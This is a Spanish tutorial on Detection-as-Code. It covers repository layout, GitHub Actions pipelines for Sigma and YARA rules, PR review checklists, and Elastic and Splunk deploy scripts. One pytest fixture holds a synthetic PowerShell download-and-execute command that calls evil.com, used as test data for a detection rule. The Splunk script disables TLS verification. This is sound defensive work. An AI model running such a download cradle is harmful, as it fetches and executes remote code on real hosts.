Detection-as-Code: Git, CI/CD y PR Reviews para Reglas de Deteccion
Guia completa para gestionar reglas de deteccion como codigo con control de versiones Git, pipelines CI/CD, testing automatizado y despliegue continuo a SIEMs. Cubre estructura de repositorio, GitHub Actions, PR reviews, sigma-cli, yara-ci y metricas de madurez.
El problema: reglas que nadie audita, nadie versiona y nadie prueba
Un equipo SOC acumula 400 reglas en su SIEM. Nadie recuerda quien creo la regla Suspicious PowerShell Execution v3 FINAL_v2_fixed. Cuando un analista la modifica para reducir falsos positivos, no hay registro del cambio. Si la modificacion rompe la deteccion de un TTP critico, nadie lo descubre hasta el proximo incidente real.
Este escenario es la norma en la mayoria de SOCs. Las reglas de deteccion se tratan como configuracion de infraestructura: se editan directamente en la consola del SIEM, sin versionado, sin revision, sin tests. Detection-as-Code (DaC) propone una alternativa: aplicar las mismas practicas de ingenieria de software (Git, CI/CD, code review, testing automatizado) a las reglas de deteccion.
Este articulo cubre la implementacion completa de un workflow DaC: desde la estructura del repositorio hasta el despliegue automatizado a SIEMs, pasando por pipelines CI/CD, PR reviews y metricas de madurez.
Que es Detection-as-Code
Detection-as-Code es la practica de gestionar reglas de deteccion como artefactos de software. Cada regla es un fichero de texto (YAML para Sigma, .yar para YARA, KQL, SPL) almacenado en un repositorio Git, sujeto a las mismas disciplinas que el codigo de produccion:
- Version control: cada cambio queda registrado con autor, fecha y razon.
- Code review: las reglas pasan por pull request antes de llegar a produccion.
- Testing automatizado: pipelines CI validan sintaxis, semantica y eficacia.
- Despliegue continuo: la conversion y push al SIEM se automatizan.
- Rollback: revertir una regla problematica es un
git revert.
La idea no es nueva. Equipos como Elastic, Palantir, Panther y Splunk la aplican internamente desde hace anios. Lo que ha cambiado es la madurez del tooling: sigma-cli, yara-ci, pre-commit hooks y APIs de SIEMs hacen viable la adopcion incluso en equipos pequenios.
DaC vs gestion tradicional
| Aspecto | Gestion tradicional | Detection-as-Code |
|---|---|---|
| Almacenamiento | Consola del SIEM | Repositorio Git |
| Versionado | Ninguno o manual | Git (commits, branches, tags) |
| Revision | Informal o inexistente | Pull request con reviewers |
| Testing | Manual, post-despliegue | Automatizado, pre-despliegue |
| Despliegue | Copy-paste en consola | CI/CD pipeline con API |
| Rollback | Restaurar backup del SIEM | git revert + re-deploy |
| Trazabilidad | Logs internos del SIEM | git log, git blame |
| Colaboracion | Un analista por regla | Branches, PRs, comentarios |
Estructura del repositorio
Un repositorio DaC bien organizado separa las reglas por formato y dominio, con directorios auxiliares para configuracion, tests y documentacion.
detection-rules/
├── .github/
│ └── workflows/
│ ├── ci-sigma.yml # Pipeline CI para reglas Sigma
│ ├── ci-yara.yml # Pipeline CI para reglas YARA
│ └── deploy-siem.yml # Despliegue automatizado
├── .pre-commit-config.yaml # Hooks de pre-commit
├── sigma/
│ ├── rules/
│ │ ├── windows/
│ │ │ ├── process_creation/
│ │ │ ├── registry/
│ │ │ ├── network/
│ │ │ └── file/
│ │ ├── linux/
│ │ │ ├── auditd/
│ │ │ └── syslog/
│ │ ├── cloud/
│ │ │ ├── aws/
│ │ │ ├── azure/
│ │ │ └── gcp/
│ │ └── network/
│ │ ├── dns/
│ │ ├── proxy/
│ │ └── firewall/
│ ├── pipelines/ # Pipelines de transformacion Sigma
│ │ ├── elastic.yml
│ │ ├── splunk.yml
│ │ └── sentinel.yml
│ └── config/
│ └── fieldmappings.yml # Mapeo de campos por SIEM
├── yara/
│ ├── rules/
│ │ ├── malware/
│ │ ├── webshells/
│ │ ├── exploits/
│ │ └── tools/
│ └── index.yar # Archivo indice que importa todas
├── tests/
│ ├── sigma/
│ │ └── test_logs/ # Logs sinteticos para validacion
│ └── yara/
│ └── test_samples/ # Muestras benignas y maliciosas (hashes)
├── scripts/
│ ├── validate_sigma.py # Validador custom de reglas Sigma
│ ├── deploy_elastic.py # Deploy a Elasticsearch via API
│ ├── deploy_splunk.py # Deploy a Splunk via REST API
│ └── coverage_report.py # Genera reporte de cobertura ATT&CK
├── docs/
│ ├── CONTRIBUTING.md # Guia para contribuir reglas
│ ├── STYLE_GUIDE.md # Convenciones de naming y metadata
│ └── REVIEW_CHECKLIST.md # Checklist para reviewers
└── README.md
Convenciones de naming para reglas
Cada regla Sigma sigue un patron predecible:
sigma/rules/{plataforma}/{categoria}/{tactica}_{descripcion}.yml
Ejemplo: sigma/rules/windows/process_creation/execution_suspicious_powershell_download.yml
Para YARA:
yara/rules/{categoria}/{familia_o_tipo}_{variante}.yar
Ejemplo: yara/rules/malware/emotet_loader_2024.yar
Practicas de control de versiones
Branching strategy
El modelo recomendado para equipos de deteccion es trunk-based development con ramas de corta duracion:
main: reglas validadas y desplegadas en produccion.feat/{ticket}-{descripcion}: rama para nuevas reglas o modificaciones.hotfix/{ticket}-{descripcion}: correcciones urgentes (falsos positivos en produccion).
# Crear una nueva regla
git checkout -b feat/DET-142-detect-bumblebee-dll-sideloading
# Desarrollar, testear localmente, commit
git add sigma/rules/windows/process_creation/execution_bumblebee_sideload.yml
git commit -m "feat(sigma): add Bumblebee DLL sideloading detection (T1574.002)"
# Push y crear PR
git push -u origin feat/DET-142-detect-bumblebee-dll-sideloading
Commits semanticos para detecciones
Adaptar Conventional Commits al dominio de deteccion:
| Prefijo | Uso |
|---|---|
feat(sigma): | Nueva regla Sigma |
feat(yara): | Nueva regla YARA |
fix(sigma): | Correccion de falso positivo/negativo |
tune(sigma): | Ajuste de umbral o filtro |
deprecate(sigma): | Marcar regla como obsoleta |
docs: | Documentacion, guias de contribucion |
ci: | Cambios en pipelines CI/CD |
test: | Aniadir o modificar tests |
Git blame para trazabilidad
Cada linea de cada regla tiene un autor y una razon. Cuando un analista pregunta "por que este filtro excluye svchost.exe", la respuesta esta en el historial:
git blame sigma/rules/windows/process_creation/execution_suspicious_powershell.yml
Pipeline CI/CD con GitHub Actions
El corazon de Detection-as-Code es el pipeline que valida cada cambio antes de que llegue a produccion. Este ejemplo usa GitHub Actions con cuatro stages.
Workflow completo: CI para reglas Sigma
# .github/workflows/ci-sigma.yml
name: Sigma Rules CI
on:
pull_request:
paths:
- 'sigma/**'
push:
branches: [main]
paths:
- 'sigma/**'
jobs:
lint:
name: Lint Sigma Rules
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install sigma-cli
run: pip install sigma-cli pySigma-backend-elasticsearch
- name: Validate YAML syntax
run: |
find sigma/rules -name '*.yml' | while read rule; do
python -c "import yaml; yaml.safe_load(open('$rule'))" || exit 1
done
- name: Check required fields
run: |
python scripts/validate_sigma.py sigma/rules/ \
--require-fields title,status,description,logsource,detection,level \
--require-tags attack.* \
--require-id
validate:
name: Validate Sigma Rules
needs: lint
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install dependencies
run: pip install sigma-cli pySigma-backend-elasticsearch pySigma-backend-splunk
- name: Validate ATT&CK mappings
run: |
python scripts/validate_sigma.py sigma/rules/ \
--validate-attack-tags \
--mitre-version 15.1
- name: Convert to Elasticsearch (dry-run)
run: |
sigma convert \
--target elasticsearch \
--pipeline sigma/pipelines/elastic.yml \
sigma/rules/ \
--output /dev/null
- name: Convert to Splunk (dry-run)
run: |
sigma convert \
--target splunk \
--pipeline sigma/pipelines/splunk.yml \
sigma/rules/ \
--output /dev/null
test:
name: Test Detection Logic
needs: validate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install test dependencies
run: pip install sigma-cli pytest pySigma-backend-elasticsearch
- name: Run detection tests
run: |
pytest tests/sigma/ -v \
--junitxml=reports/sigma-tests.xml
- name: Upload test results
uses: actions/upload-artifact@v4
with:
name: sigma-test-results
path: reports/sigma-tests.xml
deploy:
name: Deploy to SIEM
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install dependencies
run: pip install sigma-cli pySigma-backend-elasticsearch requests
- name: Convert rules
run: |
sigma convert \
--target elasticsearch \
--pipeline sigma/pipelines/elastic.yml \
--output converted/elastic/ \
sigma/rules/
- name: Deploy to Elasticsearch
env:
ELASTIC_URL: ${{ secrets.ELASTIC_URL }}
ELASTIC_API_KEY: ${{ secrets.ELASTIC_API_KEY }}
run: python scripts/deploy_elastic.py converted/elastic/
Workflow para reglas YARA
# .github/workflows/ci-yara.yml
name: YARA Rules CI
on:
pull_request:
paths:
- 'yara/**'
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install YARA
run: |
sudo apt-get update
sudo apt-get install -y yara
- name: Compile all rules
run: yara -w -s yara/index.yar /dev/null 2>&1 || true
- name: Check for syntax errors
run: |
find yara/rules -name '*.yar' | while read rule; do
yara -C "$rule" /dev/null || exit 1
done
- name: Run yara-ci validation
run: |
pip install yara-ci
yara-ci --rules-dir yara/rules/ --strict
Testing automatizado de detecciones
Las reglas de deteccion necesitan tests como cualquier otro codigo. Hay dos enfoques complementarios.
Tests unitarios con logs sinteticos
Cada regla Sigma debe tener al menos un log sintetico que la dispare (true positive) y uno que no la dispare (true negative).
# tests/sigma/test_powershell_download.py
import pytest
from sigma.collection import SigmaCollection
from sigma.backends.elasticsearch import ElasticsearchBackend
from sigma.pipelines.elasticsearch import ecs_windows
@pytest.fixture
def backend():
return ElasticsearchBackend(processing_pipeline=ecs_windows())
@pytest.fixture
def rule():
return SigmaCollection.from_yaml("""
title: Suspicious PowerShell Download
status: test
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'powershell'
- 'DownloadString'
condition: selection
level: high
""")
def test_true_positive(backend, rule):
"""La regla debe detectar PowerShell con DownloadString."""
query = backend.convert_rule(rule[0])
assert query is not None
# Validar contra log sintetico
test_log = {
"process": {"command_line": "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"}
}
assert matches_query(query[0], test_log)
def test_true_negative(backend, rule):
"""La regla NO debe detectar PowerShell legitimo."""
query = backend.convert_rule(rule[0])
test_log = {
"process": {"command_line": "powershell.exe -c Get-Process"}
}
assert not matches_query(query[0], test_log)
Tests de integracion con Atomic Red Team
Para validar que la regla funciona end-to-end en un SIEM real, se combinan con Atomic Red Team (ver articulo anterior de esta serie):
# tests/sigma/integration/test_t1059_001.yml
rule: sigma/rules/windows/process_creation/execution_suspicious_powershell.yml
atomic_test: T1059.001-1 # Atomic Red Team test ID
siem: elasticsearch
expected_alert: true
timeout: 60
cleanup: true
Proceso de PR review para reglas de deteccion
El code review de reglas de deteccion tiene particularidades que no existen en software convencional. Un checklist efectivo:
Checklist del reviewer
## PR Review Checklist - Detection Rules
### Metadata
- [ ] `title` descriptivo y unico
- [ ] `id` UUID generado (no duplicado)
- [ ] `status` correcto (test, experimental, stable)
- [ ] `description` explica QUE detecta y POR QUE
- [ ] `author` y `date` presentes
- [ ] `level` (informational/low/medium/high/critical) justificado
- [ ] `tags` incluyen tecnica ATT&CK valida (attack.tXXXX)
- [ ] `references` con URLs a threat intel que justifica la regla
### Logica de deteccion
- [ ] `logsource` especifica product, category y/o service
- [ ] `detection` usa campos reales del log source
- [ ] Filtros de exclusion documentados (por que se excluye cada proceso/path)
- [ ] No hay wildcards excesivos que generen ruido
- [ ] `condition` es correcta (AND/OR/NOT aplicados bien)
### Calidad
- [ ] Existe al menos un test (true positive + true negative)
- [ ] Tasa estimada de falsos positivos aceptable
- [ ] La regla no duplica una deteccion existente
- [ ] Pipeline CI pasa (lint + validate + test + convert)
### Operacional
- [ ] Volumen estimado de alertas por dia documentado
- [ ] Runbook o playbook de respuesta referenciado
- [ ] Impacto en rendimiento del SIEM evaluado
Ejemplo de comentario de review
## Review: feat(sigma): add Bumblebee DLL sideloading (T1574.002)
APROBADO con sugerencias menores:
1. L12: El filtro `ParentImage|endswith: '\explorer.exe'` es demasiado
permisivo. Bumblebee usa DLL sideloading desde procesos
especificos (calc.exe, notepad.exe). Sugerir lista explicita
para reducir FP.
2. L18: Falta `falsepositives:` section. Aniadir al menos:
- Software de gestion remota legitimo
- Herramientas de inventario de activos
3. Test OK: el true positive cubre el caso principal.
Sugerir aniadir test para la variante con wscript.exe como parent.
Despliegue automatizado a SIEMs via API
Una vez la regla pasa CI y review, el despliegue debe ser automatico. Cada SIEM tiene su API.
Deploy a Elasticsearch/Kibana
# scripts/deploy_elastic.py
import json
import os
from pathlib import Path
import requests
ELASTIC_URL = os.environ["ELASTIC_URL"]
ELASTIC_API_KEY = os.environ["ELASTIC_API_KEY"]
def deploy_rule(rule_path: Path) -> dict:
"""Despliega una regla convertida a Elasticsearch Detection Rules API."""
with open(rule_path) as f:
rule_body = json.load(f)
headers = {
"Authorization": f"ApiKey {ELASTIC_API_KEY}",
"Content-Type": "application/json",
"kbn-xsrf": "true"
}
# Intentar actualizar; si no existe, crear
rule_id = rule_body.get("rule_id", rule_body["name"].lower().replace(" ", "_"))
response = requests.put(
f"{ELASTIC_URL}/api/detection_engine/rules",
headers=headers,
json={**rule_body, "rule_id": rule_id},
timeout=30
)
if response.status_code == 404:
response = requests.post(
f"{ELASTIC_URL}/api/detection_engine/rules",
headers=headers,
json={**rule_body, "rule_id": rule_id},
timeout=30
)
response.raise_for_status()
return response.json()
def main():
import sys
rules_dir = Path(sys.argv[1])
results = {"deployed": 0, "failed": 0, "errors": []}
for rule_file in rules_dir.glob("*.json"):
try:
deploy_rule(rule_file)
results["deployed"] += 1
except Exception as e:
results["failed"] += 1
results["errors"].append(f"{rule_file.name}: {e}")
print(f"Deployed: {results['deployed']} | Failed: {results['failed']}")
if results["errors"]:
for err in results["errors"]:
print(f" ERROR: {err}")
sys.exit(1)
if __name__ == "__main__":
main()
Deploy a Splunk
# scripts/deploy_splunk.py
import os
import requests
from pathlib import Path
SPLUNK_URL = os.environ["SPLUNK_URL"]
SPLUNK_TOKEN = os.environ["SPLUNK_TOKEN"]
def deploy_saved_search(name: str, search_query: str, severity: str = "high"):
"""Crea o actualiza una saved search en Splunk."""
headers = {"Authorization": f"Bearer {SPLUNK_TOKEN}"}
data = {
"name": name,
"search": search_query,
"is_scheduled": "1",
"cron_schedule": "*/15 * * * *",
"alert_type": "number of events",
"alert_comparator": "greater than",
"alert_threshold": "0",
"alert.severity": severity,
"actions": "email,notable",
}
response = requests.post(
f"{SPLUNK_URL}/servicesNS/admin/search/saved/searches",
headers=headers,
data=data,
verify=False,
timeout=30
)
return response.status_code
Ciclo de vida de una regla de deteccion
Cada regla tiene un ciclo de vida definido, reflejado en el campo status de Sigma:
IDEA DRAFT TEST EXPERIMENTAL STABLE DEPRECATED
│ │ │ │ │ │
│ Threat │ PR review │ CI pipeline │ Produccion │ Madura y │ Retirada
│ intel │ + tests │ + Atomic RT │ con monitor │ validada │ del SIEM
│ justifica │ iniciales │ │ de FP rate │ │
▼ ▼ ▼ ▼ ▼ ▼
| Status | Significado | Donde se ejecuta |
|---|---|---|
draft | En desarrollo, sin tests | Solo local |
test | Con tests, en PR review | CI pipeline |
experimental | En produccion con monitorizacion | SIEM (modo alerta, sin bloqueo) |
stable | Validada, baja tasa de FP | SIEM (puede bloquear/contener) |
deprecated | Obsoleta, marcada para eliminar | Se retira en el proximo release |
Criterios de promocion
De experimental a stable:
- Minimo 30 dias en produccion.
- Tasa de falsos positivos < 5%.
- Al menos 1 true positive documentado (real o via Atomic Red Team).
- Runbook de respuesta completo.
De stable a deprecated:
- La tecnica ATT&CK ya no es relevante (herramienta abandonada).
- Una regla mas precisa la reemplaza.
- El log source ya no esta disponible.
Tooling: herramientas del ecosistema DaC
sigma-cli
La herramienta oficial para trabajar con reglas Sigma desde la linea de comandos:
# Instalar
pip install sigma-cli pySigma-backend-elasticsearch pySigma-backend-splunk
# Validar una regla
sigma check sigma/rules/windows/process_creation/exec_suspicious_ps.yml
# Convertir a Elasticsearch ECS
sigma convert \
--target elasticsearch \
--pipeline ecs_windows \
sigma/rules/windows/process_creation/exec_suspicious_ps.yml
# Convertir a Splunk
sigma convert \
--target splunk \
--pipeline splunk_windows \
sigma/rules/windows/process_creation/exec_suspicious_ps.yml
# Convertir todas las reglas de un directorio
sigma convert \
--target elasticsearch \
--pipeline ecs_windows \
--output converted/ \
sigma/rules/
yara-ci
Validacion automatizada de reglas YARA:
pip install yara-ci
# Validar directorio completo
yara-ci --rules-dir yara/rules/ --strict
# Opciones utiles
yara-ci --rules-dir yara/rules/ \
--require-metadata author,description,date,reference \
--require-tags \
--max-string-count 100
Pre-commit hooks
Automatizar validaciones antes de cada commit:
# .pre-commit-config.yaml
repos:
- repo: local
hooks:
- id: sigma-check
name: Validate Sigma Rules
entry: sigma check
language: python
additional_dependencies: ['sigma-cli']
files: 'sigma/rules/.*\.yml$'
types: [yaml]
- id: yara-compile
name: Compile YARA Rules
entry: bash -c 'for f in "$@"; do yara -C "$f" /dev/null; done'
language: system
files: 'yara/rules/.*\.yar$'
- id: sigma-uuid
name: Check Sigma Rule UUIDs
entry: python scripts/check_unique_ids.py
language: python
files: 'sigma/rules/.*\.yml$'
- id: attack-tags
name: Validate ATT&CK Tags
entry: python scripts/validate_attack_tags.py
language: python
files: 'sigma/rules/.*\.yml$'
Ejemplos reales de repositorios DaC
Elastic Detection Rules
El repositorio elastic/detection-rules es la referencia de la industria. Contiene mas de 1.000 reglas con:
- Estructura: reglas organizadas por plataforma y categoria.
- CI completo: validacion de schema, tests de logica, conversion automatica.
- Versionado: cada regla tiene
min_stack_versionpara compatibilidad. - Metadata: campos
risk_score,severity,threat(mappings ATT&CK),building_block. - Tests: directorio
tests/con logs sinteticos por regla. - Release process: tags de Git, changelogs, paquetes de reglas descargables.
Lecciones clave del repo de Elastic:
- Usan
rule_idcomo identificador estable (no el nombre). - Las reglas tienen
max_signalspara controlar volumen de alertas. - El campo
building_blockpermite componer detecciones. - Las excepciones se gestionan en ficheros separados, no inline.
SigmaHQ
SigmaHQ/sigma es el repositorio comunitario con mas de 3.000 reglas Sigma:
- Estructura estandar:
rules/{plataforma}/{categoria}/. - CI: GitHub Actions con
sigma checky compilacion a multiples backends. - PR reviews: cada regla pasa por revision de mantenedores con checklist.
- Status tracking: campo
statusobligatorio (test, experimental, stable). - Convenciones: guia de estilo documentada, naming predecible.
Panther Analysis
panther-labs/panther-analysis toma un enfoque diferente: las detecciones son funciones Python, no DSLs:
def rule(event):
return (
event.get("eventName") == "ConsoleLogin"
and event.get("responseElements", {}).get("ConsoleLogin") == "Success"
and event.get("additionalEventData", {}).get("MFAUsed") != "Yes"
)
La ventaja: la logica de deteccion tiene la expresividad completa de un lenguaje de programacion. La desventaja: pierde la portabilidad multi-SIEM que ofrece Sigma.
Metricas de madurez DaC
Para medir la salud del programa Detection-as-Code, estas metricas son las mas relevantes:
Metricas de cobertura
| Metrica | Formula | Objetivo |
|---|---|---|
| Cobertura ATT&CK | Tecnicas con >= 1 regla / Tecnicas totales relevantes | > 60% |
| Reglas con tests | Reglas con test unitario / Total reglas | > 80% |
| Reglas estables | Reglas con status stable / Total reglas | > 50% |
Metricas de calidad
| Metrica | Formula | Objetivo |
|---|---|---|
| Tasa de falsos positivos | FP por regla por semana (media) | < 5 FP/semana |
| Tiempo medio de tuning | Dias desde primer FP hasta fix | < 3 dias |
| Reglas sin activar (30d) | Reglas con 0 alertas en 30 dias | < 20% |
Metricas de proceso
| Metrica | Formula | Objetivo |
|---|---|---|
| Lead time | Commit a produccion (media) | < 24h |
| PR review time | PR abierto a aprobado (media) | < 8h |
| Rollback rate | Reverts por mes / deploys por mes | < 5% |
| Contribuidores activos | Autores unicos en ultimos 30 dias | > 3 |
Script de cobertura ATT&CK
# scripts/coverage_report.py
import yaml
from pathlib import Path
from collections import defaultdict
def generate_coverage_report(rules_dir: str) -> dict:
"""Genera reporte de cobertura ATT&CK a partir de reglas Sigma."""
techniques = defaultdict(list)
for rule_path in Path(rules_dir).rglob("*.yml"):
with open(rule_path) as f:
rule = yaml.safe_load(f)
if not rule or "tags" not in rule:
continue
for tag in rule.get("tags", []):
if tag.startswith("attack.t"):
technique_id = tag.replace("attack.", "").upper()
techniques[technique_id].append({
"title": rule.get("title", "Unknown"),
"status": rule.get("status", "unknown"),
"level": rule.get("level", "unknown"),
"file": str(rule_path)
})
return {
"total_techniques_covered": len(techniques),
"total_rules": sum(len(v) for v in techniques.values()),
"techniques": dict(techniques),
"stable_rules": sum(
1 for rules in techniques.values()
for r in rules if r["status"] == "stable"
),
}
Recursos y referencias
Repositorios de referencia
- elastic/detection-rules: mas de 1.000 reglas, CI completo, referencia de la industria.
- SigmaHQ/sigma: mas de 3.000 reglas comunitarias con PR review.
- panther-labs/panther-analysis: detecciones como Python puro.
- Neo23x0/sigma: repositorio original de Sigma por Florian Roth.
Herramientas
- sigma-cli: CLI oficial para validar, convertir y gestionar reglas Sigma.
- pySigma: framework Python para backends Sigma.
- YARA: motor de reglas para clasificacion de malware.
- Atomic Red Team: tests unitarios para tecnicas ATT&CK.
Lecturas recomendadas
- Palantir: Alerting and Detection Strategy Framework
- Florian Roth: How to Write Sigma Rules
- MITRE ATT&CK: Getting Started
- Red Canary: Detection Engineering at Scale
Conclusion
Detection-as-Code no es una moda. Es la evolucion natural de la gestion de reglas de deteccion, del mismo modo que Infrastructure-as-Code transformo la gestion de servidores. Los beneficios son claros: trazabilidad, calidad, velocidad de iteracion y colaboracion. El tooling ya existe y es maduro.
El primer paso no tiene que ser migrar 400 reglas de golpe. Empieza con un repositorio Git, tres reglas Sigma, un pipeline CI basico y un PR review. Cuando el equipo vea el historial de git log con las razones de cada cambio, no habra vuelta atras.
Preguntas frecuentes
Artículos relacionados
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
Testing de Detecciones con Atomic Red Team: Validar Antes de Confiar
Sigma Pipelines: Procesamiento, Backends y Conversión Avanzada a tu SIEM
De IOC a Detección: Workflow Completo para Operacionalizar Inteligencia
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.